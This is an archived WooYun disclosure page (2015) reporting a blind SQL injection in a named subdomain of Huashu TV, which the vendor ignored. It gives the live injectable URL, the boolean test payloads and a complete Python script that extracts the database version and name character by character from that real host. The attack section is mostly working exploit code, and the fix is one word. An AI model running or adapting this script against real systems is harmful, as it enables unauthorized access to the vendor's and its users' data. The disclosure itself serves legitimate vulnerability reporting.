当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108829

漏洞标题:华数TV某分站mysql盲注<附验证脚本>

相关厂商:华数数字电视传媒集团有限公司

漏洞作者: loopx9

提交时间:2015-04-18 17:24

修复时间:2015-04-23 17:26

公开时间:2015-04-23 17:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-18: 细节已通知厂商并且等待厂商处理中
2015-04-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

sql盲注。

详细说明:

1=1:返回评论数据

http://uc.wasu.cn/member/index.php/Comment/commentList/page_limit/10/show_style/mobile/type/video/relier/if(1=1,55728,0)

可以看到有评论数据返回,与http://uc.wasu.cn/member/index.php/Comment/commentList/page_limit/10/show_style/mobile/type/video/relier/55728 返回的一致.

1.png

http://uc.wasu.cn/member/index.php/Comment/commentList/page_limit/10/show_style/mobile/type/video/relier/if(1=2,55728,0)


1=2:空白没有数据.
注入点不能有空格、小于符号。
可以进行盲注.

漏洞证明:

#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL):
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)

try:
request = urllib2.urlopen(req)

except HTTPError, e:
if e.code == 500:
return 'Runtime Error'

except URLError, e:
print('[!] We failed to reach a server.')
print('[!] Reason: ' + str(e.reason))
sys.exit(1)

return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)
if mid%2:
mid = mid/2 + 1
else:
mid = mid/2
if mid == right:
sys.stdout.write(chr(mid))
break
payload = "if(ascii(substring(concat(@@version,0x3a,database()),%s,1))>%s,55728,0)" % (index, mid)
html = request('http://uc.wasu.cn/member/index.php/Comment/commentList/page_limit/10/show_style/mobile/type/video/relier/'+payload)
verify = 'Woman8394'
if verify in html:
left = mid
else:
right = mid

if __name__ == '__main__':
print 'concat(@@version,0x3a,database(): ',
for i in range(1,150):
binary_sqli(32, 127, i)


wasu.png

修复方案:

过滤

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-23 17:26

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无